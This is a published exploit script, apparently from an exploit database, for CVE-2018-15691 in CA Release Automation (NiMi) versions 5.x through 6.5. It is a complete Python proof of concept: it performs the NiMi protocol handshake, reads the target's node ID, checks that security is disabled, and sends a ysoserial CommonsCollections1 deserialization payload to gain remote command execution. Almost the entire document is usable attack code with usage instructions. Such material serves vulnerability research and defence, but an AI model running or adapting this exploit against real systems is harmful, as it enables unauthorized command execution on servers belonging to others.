CA Release Automation NiMi 6.5 Remote Command Execution

`# Exploit Title: CA Release Automation NiMi 6.5 - Remote Command Execution  
# Date: 2016-06-23  
# Exploit Authors: Jakub Palaczynski, Maciej Grabiec  
# Vendor Homepage: http://www.ca.com/  
# Software Link: https://docops.ca.com/ca-release-automation/5-5-2/en/installation/deploy-agents/  
# Version: CA Release Automation (NiMi) 5.X, 6.3, 6.4, 6.5  
# CVE: CVE-2018-15691  
# Info: CA Release Automation (NiMi) Remote Command Execution via Deserialization  
# Info: Payloads generated using CommonsCollections1 from ysoserial work correctly.  
# Info: Proof of Concept exploits NiMi service if security is turned off.  
  
#!/usr/bin/python  
  
import socket  
import sys  
import struct  
  
if len(sys.argv) < 4:  
sys.stderr.write("[-]Usage: python %s <ip> <port> <payload_file> <target_nodeid - not mandatory>\n" % sys.argv[0])  
sys.stderr.write("[-]Exemple: python %s 10.0.0.1 6600 /tmp/payload.bin\n" % sys.argv[0])  
exit(1)  
  
host = sys.argv[1]  
port = sys.argv[2]  
file = sys.argv[3]  
  
# check if payload does not exceed specified value  
payloadObj = open(file,'rb').read()  
if len(payloadObj) > 5729:  
print 'Payload must be less than 5730 bytes. Try another one.'  
exit(1)  
  
# open socket to nimi port  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
print 'Connecting to node.'  
sock.connect((host, int(port)))  
  
# say hello to nimi  
sock.recv(256)  
sock.send('\x00\x00\x00\x0c\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x72\x02\x08\x00') # first required message  
  
# get Node ID  
data = sock.recv(256)  
name = data[5] + data[6:6+ord(data[5])]  
if len(sys.argv) == 5:  
name = struct.pack(">B", len(sys.argv[4])) + sys.argv[4]  
  
# check if security is enabled  
sock.send('\x00\x00\x00\x1a\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x7a\x10\x0a\x0c\x0a\x07\x30\x2e\x30\x2e\x30\x2e\x30\x10\x94\x3c\x10\x00') # second required message  
check = sock.recv(256)  
if check == "":  
print 'Security is enabled. Sorry.'  
exit(1)  
  
# send payload  
print 'Sending payload.'  
header = '\x0a\x04\x6e\x6f\x64\x65\x10\x01\x1a' + name + '\x2a\xe4\x2c\x0a\xe1\x2c'  
stage = header + payloadObj + '\x90' * (5729-len(payloadObj))  
payload = struct.pack(">I", len(stage)) + stage  
  
sock.sendall(payload)  
sock.close()  
  
`